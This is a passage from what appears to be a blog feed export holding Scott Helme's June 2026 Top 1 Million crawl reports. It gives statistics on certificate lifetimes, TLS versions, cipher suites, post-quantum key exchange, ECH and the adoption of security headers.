src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/sct.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/sct.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/sct.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/sct.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/sct.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/wildcard.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/wildcard.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/wildcard.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/wildcard.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/wildcard.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"how-long-do-certificates-live\">How long do certificates live?</h3><p>For the first time this report measures certificate <em>lifetimes</em> directly, across the 658,294 certificates we saw, and the distribution is remarkably tight — almost everything clusters at a handful of standard values:</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Validity period</th>\n<th>Certificates</th>\n<th>Share</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>≤ 47 days</td>\n<td>1,692</td>\n<td>0.3%</td>\n</tr>\n<tr>\n<td>48–90 days</td>\n<td>509,744</td>\n<td>77.4%</td>\n</tr>\n<tr>\n<td>91–200 days</td>\n<td>49,743</td>\n<td>7.6%</td>\n</tr>\n<tr>\n<td>201–398 days</td>\n<td>96,953</td>\n<td>14.7%</td>\n</tr>\n<tr>\n<td>399+ days</td>\n<td>162</td>\n<td>0.0%</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>90-day certificates utterly dominate, at 508,049 — 77% of every certificate we saw. That's the Let's Encrypt and Google Trust Services automated model expressed as a single number. The old one-year certificate (clustered around 395–398 days) is now a ~15% minority, and anything longer than the old 398-day maximum has all but vanished — just 162 of them, almost certainly private or misconfigured.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/cert-validity.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1018\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/cert-validity.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/cert-validity.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/cert-validity.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/cert-validity.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The most telling detail: the 200-day cap that took effect on 15 March 2026 — barely three months before this crawl — is already visible in the data. A 199-day lifetime is now the <em>third</em> most common exact value (21,966 certs), and the 91–200 day band holds nearly 50,000 — issuers and sites already provisioning right up against the new limit. With the cap falling to <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">100 days in 2027 and 47 days in 2029</a>, expect that enormous 90-day column to hold firm while the one-year remnant drains away.</p><p>I've followed this saga for years — from <a href=\"https://scotthelme.co.uk/why-we-need-to-do-more-to-reduce-certificate-lifetimes/?ref=scotthelme.ghost.io\">why we need shorter lifetimes</a>, through <a href=\"https://scotthelme.co.uk/ballot-sc22-reduce-certificate-lifetimes/?ref=scotthelme.ghost.io\">Ballot SC22</a>, to Let's Encrypt now issuing <a href=\"https://scotthelme.co.uk/blink-and-youll-miss-them-6-day-certificates-are-here/?ref=scotthelme.ghost.io\">6-day certificates</a> — and the data finally shows it plainly: the ecosystem is responding. The sites that automated renewal years ago won't even notice the 47-day future. If you haven't yet, <a href=\"https://scotthelme.co.uk/cryptographic-agility-part-1-server-certificates/?ref=scotthelme.ghost.io\">Cryptographic Agility</a> is the mindset to adopt now.</p><p></p><h3 id=\"a-tale-of-two-ca-models\">A tale of two CA models</h3><p>Breaking the certificates down <em>by issuer</em> makes the divide explicit. For each of the largest CAs, here's the typical certificate lifetime, the share on ECDSA keys, and the share that are wildcards:</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Issuer</th>\n<th>Certs</th>\n<th>Typical lifetime</th>\n<th>ECDSA</th>\n<th>Wildcard</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Let's Encrypt</td>\n<td>302,116</td>\n<td>90 days</td>\n<td>47%</td>\n<td>30%</td>\n</tr>\n<tr>\n<td>Google Trust Services</td>\n<td>203,436</td>\n<td>90 days</td>\n<td>92%</td>\n<td>71%</td>\n</tr>\n<tr>\n<td>Amazon</td>\n<td>37,690</td>\n<td>~395 days</td>\n<td>6%</td>\n<td>68%</td>\n</tr>\n<tr>\n<td>DigiCert</td>\n<td>34,961</td>\n<td>199 days</td>\n<td>9%</td>\n<td>42%</td>\n</tr>\n<tr>\n<td>Sectigo</td>\n<td>29,006</td>\n<td>366 days</td>\n<td>5%</td>\n<td>50%</td>\n</tr>\n<tr>\n<td>GlobalSign</td>\n<td>17,891</td>\n<td>397 days</td>\n<td>3%</td>\n<td>68%</td>\n</tr>\n<tr>\n<td>GoDaddy</td>\n<td>7,999</td>\n<td>397 days</td>\n<td>3%</td>\n<td>53%</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>There are clearly two different worlds here. The free, automated, ACME-native CAs — Let's Encrypt and Google Trust Services — issue 90-day certificates and lean hard on modern ECDSA keys (Google's are 92% ECDSA). The traditional commercial CAs — Amazon, Sectigo, GlobalSign, GoDaddy — are still handing out roughly one-year certificates on RSA keys (3–6% ECDSA between them). The agile-crypto future I keep pushing has, in effect, already arrived for half the web — it's just unevenly distributed across the CAs.</p><p>And you can watch the commercial side being dragged forward in real time: DigiCert's single most common lifetime is already 199 days, right up against the 200-day cap that landed in March. The mandate is doing exactly what it was designed to.</p><p></p><h3 id=\"certificate-authority-authorisation\">Certificate Authority Authorisation</h3><p><a href=\"https://scotthelme.co.uk/certificate-authority-authorization/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CAA</a> continues its steady climb: 53,130 sites now publish a CAA record, up 50% on the 35,537 from 2022. It's still a small fraction of the web, but it's one of the cheapest wins in the PKI — it lets you tell the world which CAs are allowed to issue for your domain — and it's good to see it trending the right way.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/caa.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1108\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/caa.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/caa.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/caa.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/caa.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"tls-versions\">TLS versions</h3><p>This is one of the cleaner success stories, but it's taken us a long time to get here.</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Version</th>\n<th>Jun 2022</th>\n<th>Jun 2026</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>TLSv1.3</td>\n<td>378,162</td>\n<td><strong>576,464</strong></td>\n</tr>\n<tr>\n<td>TLSv1.2</td>\n<td>180,121</td>\n<td><strong>70,395</strong></td>\n</tr>\n<tr>\n<td>TLSv1.1</td>\n<td>0</td>\n<td><strong>0</strong></td>\n</tr>\n<tr>\n<td>TLSv1.0</td>\n<td>512</td>\n<td><strong>106</strong></td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>TLSv1.3 is up 52% and is now comfortably the dominant protocol version. TLSv1.2 has fallen 61% as sites migrate upwards. And the legacy protocols are essentially gone: TLSv1.1 is extinct, and TLSv1.0 is down to just 106 sites, a 79% drop. After years of nagging, the back of the legacy-TLS problem is finally broken.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/tls.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1020\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/tls.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/tls.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/tls.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/tls.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"cipher-suites\">Cipher Suites</h3><p>The cipher picture is overwhelmingly modern, led by the TLS 1.3 AEAD suites:</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Cipher Suite</th>\n<th>Count</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>TLS_AES_256_GCM_SHA384</td>\n<td>492,080</td>\n</tr>\n<tr>\n<td>TLS_AES_128_GCM_SHA256</td>\n<td>82,080</td>\n</tr>\n<tr>\n<td>ECDHE-RSA-AES256-GCM-SHA384</td>\n<td>32,027</td>\n</tr>\n<tr>\n<td>ECDHE-RSA-AES128-GCM-SHA256</td>\n<td>23,070</td>\n</tr>\n<tr>\n<td>ECDHE-ECDSA-CHACHA20-POLY1305</td>\n<td>5,628</td>\n</tr>\n<tr>\n<td>ECDHE-RSA-CHACHA20-POLY1305</td>\n<td>3,130</td>\n</tr>\n<tr>\n<td>ECDHE-ECDSA-AES256-GCM-SHA384</td>\n<td>2,853</td>\n</tr>\n<tr>\n<td>TLS_CHACHA20_POLY1305_SHA256</td>\n<td>2,304</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>The old CBC-mode and non-PFS suites have dwindled to a rounding error. Forward secrecy is effectively universal at the top of the web.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ciphers-suites.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1093\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ciphers-suites.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ciphers-suites.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ciphers-suites.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ciphers-suites.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"key-exchange-and-the-arrival-of-post-quantum\">Key Exchange and the arrival of post-quantum</h3><p>This is the development I've been waiting to be able to measure — and it's further along than I'd have guessed.</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Key Exchange Group</th>\n<th>Count</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>X25519MLKEM768 (post-quantum hybrid)</strong></td>\n<td><strong>358,115</strong></td>\n</tr>\n<tr>\n<td>X25519</td>\n<td>231,406</td>\n</tr>\n<tr>\n<td>ECDH P-256 (prime256v1)</td>\n<td>38,453</td>\n</tr>\n<tr>\n<td>ECDH P-384 (secp384r1)</td>\n<td>13,293</td>\n</tr>\n<tr>\n<td>ECDH P-521 (secp521r1)</td>\n<td>4,975</td>\n</tr>\n<tr>\n<td>DH 2048 / 3072 / 4096</td>\n<td>294</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><blockquote>358,115 sites — around 44% of everything that responded — negotiated a post-quantum hybrid key exchange.</blockquote><p></p><p><code>X25519MLKEM768</code> combines the classical X25519 curve with ML-KEM-768 (the NIST-standardised, post-quantum key-encapsulation mechanism formerly known as Kyber). The hybrid construction means you get today's security <em>and</em> protection against \"harvest now, decrypt later\" attacks, where an adversary records encrypted traffic now in the hope of decrypting it with a future quantum computer. For a huge swathe of the web, that future threat is already mitigated.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/pqkx.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1089\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/pqkx.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/pqkx.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/pqkx.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/pqkx.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>What's remarkable is how <em>quietly</em> this happened. A couple of years ago, post-quantum TLS was a research curiosity you had to go out of your way to enable. Today it's the single most common key-exchange group on the web, ahead of plain X25519 — because Cloudflare and Google turned it on by default and, between them, front an enormous fraction of the top million. It's the clearest example I have of how much leverage a handful of infrastructure providers now hold: one default flip, and quantum-safe key agreement goes mainstream across hundreds of thousands of sites overnight.</p><p>(A note on measurement: classical key exchange is overwhelmingly X25519 now, with the NIST P-curves a distant second and finite-field DH all but gone. To see the PQC group at all I had to upgrade the crawler to OpenSSL 3.5 — older clients simply don't offer the hybrid groups, which is a neat illustration of why client support is the gating factor for adoption.)</p><p></p><h3 id=\"authentication-keys\">Authentication Keys</h3><p>A quieter milestone, but a real one: ECDSA has overtaken RSA. Finally!</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Key type</th>\n<th>Jun 2022</th>\n<th>Jun 2026</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>RSA</td>\n<td>392,191</td>\n<td>306,042</td>\n</tr>\n<tr>\n<td>ECDSA</td>\n<td>165,438</td>\n<td><strong>340,498</strong></td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>And by key size, 256-bit ECDSA is now the single most common choice, having overtaken 2048-bit RSA:</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Key size</th>\n<th>Jun 2022</th>\n<th>Jun 2026</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>256-bit (ECDSA P-256)</td>\n<td>157,878</td>\n<td><strong>332,437</strong></td>\n</tr>\n<tr>\n<td>2048-bit (RSA)</td>\n<td>353,376</td>\n<td>263,394</td>\n</tr>\n<tr>\n<td>4096-bit (RSA)</td>\n<td>35,977</td>\n<td>38,779</td>\n</tr>\n<tr>\n<td>384-bit (ECDSA P-384)</td>\n<td>7,560</td>\n<td>8,061</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>Smaller, faster, modern elliptic-curve keys have won the argument. The remaining RSA install base is large but now clearly in decline, and the insane pile of 4096-bit RSA keys has barely grown.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/public-key-type.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1081\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/public-key-type.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/public-key-type.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/public-key-type.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/public-key-type.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/public-key-size.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1090\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/public-key-size.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/public-key-size.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/public-key-size.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/public-key-size.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"ocsp-stapling\">OCSP stapling</h3><p>210,377 sites staple an OCSP response to their handshake, sparing clients a separate round-trip to the CA to check revocation (<a href=\"https://scotthelme.co.uk/revocation-checking-is-pointless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">does anyone still do that?</a>). It's worth noting this is a technology on the way out: with the CA/Browser Forum making OCSP optional and the industry shifting to short-lived certificates and <a href=\"https://scotthelme.co.uk/crlite-finally-a-fix-for-broken-revocation/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CRL-based mechanisms</a>, stapling matters less every year — when your certificate only lives 90 days (or soon 47), revocation is a much smaller problem to begin with. A nice example of one part of the ecosystem (short lifetimes) quietly dissolving the need for another (revocation infrastructure).</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ocsp.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1042\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ocsp.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ocsp.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ocsp.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ocsp.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"encrypted-client-hello-ech\">Encrypted Client Hello (ECH)</h3><p>The last big metadata leak in TLS is the Server Name Indication field — the hostname you're connecting to, sent in the clear during the handshake. Encrypted Client Hello closes it, and adoption is already substantial: 199,959 sites publish an ECH configuration in their DNS <code>HTTPS</code> record, with<strong> 278,778 sites</strong> publishing a DNS <code>HTTPS</code>/SVCB record at all. Like the post-quantum rollout above, it's a privacy win that's landed years ahead of where I'd have expected — and one most site owners got without lifting a finger.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ech.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"1041\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ech.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ech.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ech.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ech.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"closing-thoughts\">Closing thoughts</h3><p>The cryptographic foundations of the web have changed enormously over the last decade. TLS 1.3 is now the dominant protocol, weak legacy versions have almost disappeared, modern cipher suites are the norm, forward secrecy is effectively universal, and short-lived, automatically issued certificates have become the default for a huge part of the web. That is a remarkable shift from where we were ten years ago.</p><p>What stands out most in this data is how much of that progress is now driven by infrastructure defaults. Certificate automation, 90-day lifetimes, ECDSA, modern TLS configuration, ECH and even post-quantum hybrid key exchange are being rolled out at enormous scale by CDNs, hosting platforms, browsers and certificate authorities. Individual site owners may not always be making these changes directly, but they are benefiting from the ecosystem moving underneath them.</p><p>There are still areas to improve, of course. CAA has plenty of room to grow, the use of ECH is still building, and the post-quantum transition is only just beginning. But compared with the broader application-security picture, the TLS and certificate ecosystem feels like it's finally in good shape. The plumbing is getting stronger, more modern, and more automated, and that gives us a much better foundation for whatever comes next.</p><p>A decade ago, we were still arguing about whether everyone really needed HTTPS. Today, the frontier is quantum resistance, and the web is quietly already crossing it.</p><p></p><h3 id=\"get-the-data\">Get the data</h3><p>Everything here is open — the full per-metric files, the raw database dump, and the daily crawl data are at <a href=\"https://crawler.ninja/?ref=scotthelme.ghost.io\">Crawler.Ninja</a>.</p><p>If you missed it, <a href=\"https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">part one</a> covers the security headers, cookies, email/DNS security and the broader anniversary retrospective. Here's to the next ten years!</p><hr><p><em>Crawl date: 13 June 2026. 819,002 responding sites from the Tranco Top 1 Million. Powered by </em><a href=\"https://crawler.ninja/?ref=scotthelme.ghost.io\"><em>Crawler.Ninja</em></a><em> and </em><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><em>Report URI</em></a><em>.</em></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Crawler Report",
              "term": "Crawler Report",
              "url": null
            }
          ]
        },
        {
          "id": "6a2dd1d7d237ab0001bd29b7",
          "title": "Top 1 Million Analysis – June 2026: Ten Years of Web Security",
          "description": "<p>It's been a long time since the last one of these! The previous Top 1 Million Analysis was way back in <em>June 2022</em>, and a lot has happened since then. But there's a much bigger reason to dust off the crawler and publish another report: <strong>this</strong></p>",
          "url": "https://scotthelme.ghost.io/top-1-million-analysis-june-2026-ten-years-of-web-security/",
          "published": "2026-06-29T13:40:56.000Z",
          "updated": "2026-06-29T13:40:56.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\"><p>It's been a long time since the last one of these! The previous Top 1 Million Analysis was way back in <em>June 2022</em>, and a lot has happened since then. But there's a much bigger reason to dust off the crawler and publish another report: <strong>this year marks ten years since I started crawling the top 1 million sites!</strong> The very first crawl went out in 2016, and a decade later it feels like exactly the right moment to take stock of how far web security has come — and where it's quietly going backwards.</p><p>There's so much to cover this year that I've split the report into two parts. This first part is the anniversary retrospective and the broad state of the web — HTTPS, the security headers, cookies, email and DNS security, and more. <a href=\"https://scotthelme.co.uk/top-1-million-analysis-june-2026-the-state-of-crypto/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Part two</a> is going to be a dedicated deep-dive into the cryptography side of things with TLS, certificates, certificate lifetimes, the arrival of post-quantum cryptography, and more. That will be published tomorrow.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: Ten Years of Web Security\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"introduction\">Introduction</h3><p>Over a decade ago, I started <a href=\"https://scotthelme.co.uk/tag/crawler-report/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">measuring</a> how the web was adopting some of the security features that were, at the time, still relatively new or uncommon. Things like HTTPS redirects, HSTS, CSP, security headers, cookie flags, and other browser-side protections were gradually becoming part of the modern web security toolkit. A decade later, the picture looks very different. Some of those technologies are now firmly established, others have struggled to gain meaningful adoption, and in many cases the presence of a feature doesn’t necessarily mean it has been deployed well. In this post, I’m taking a fresh look at the Tranco Top 1 Million to see how far we’ve come, where progress has stalled, and what the current state of web security really looks like.</p><p></p><h3 id=\"the-crawl\">The Crawl</h3><p>The methodology is the same as it's always been: take the <a href=\"https://tranco-list.eu/?ref=scotthelme.ghost.io\">Tranco</a> Top 1 Million list, request each site over HTTP, follow the redirects, and record everything about the response — security headers, the TLS handshake, the certificate, a bunch of DNS lookups, and everything else I could think of. Of the million sites on the list, 819,002 responded this time, and everything below is measured against that responding population.</p><p>Two things worth flagging up front. First, the gap: four years is a long time (my bad), so where it's useful I've compared back to June 2022, but I've also leaned on the full historical dataset for the ten-year view. Second, I took the opportunity to substantially expand what the crawler measures for this anniversary edition — there are a whole set of new metrics here that have never appeared in one of these reports before (cookie security attributes, DMARC/SPF, cross-origin isolation, ECH, post-quantum cryptography and more). More on those as we go, and the big hitters will be in part two.</p><p></p><h3 id=\"a-decade-in-numbers\">A decade in numbers</h3><p>Before we dig into individual metrics, here's the headline story of ten years of web security, told through the three metrics with the longest history:</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Metric</th>\n<th>Aug 2015</th>\n<th>Mar 2020</th>\n<th>Jun 2022</th>\n<th><strong>Jun 2026</strong></th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Redirect to HTTPS</td>\n<td>62,043</td>\n<td>528,498</td>\n<td>589,979</td>\n<td><strong>658,038</strong></td>\n</tr>\n<tr>\n<td>HSTS</td>\n<td>11,308</td>\n<td>132,466</td>\n<td>188,492</td>\n<td><strong>252,846</strong></td>\n</tr>\n<tr>\n<td>CSP</td>\n<td>1,365</td>\n<td>51,986</td>\n<td>79,549</td>\n<td><strong>170,057</strong></td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>That's the encouraging part — the foundational stuff is still climbing. HTTPS has gone from a minority of sites to the overwhelming default, HSTS continues its steady climb, and CSP has more than doubled again since 2022. The web really is more secure than it was a decade ago. But as we'll see, several of the metrics I've tracked for years have plateaued or started to slide, and the most interesting story this year is in the brand-new things that didn't even exist last time.</p><p></p><h3 id=\"the-biggest-movers-of-the-decade\">The biggest movers of the 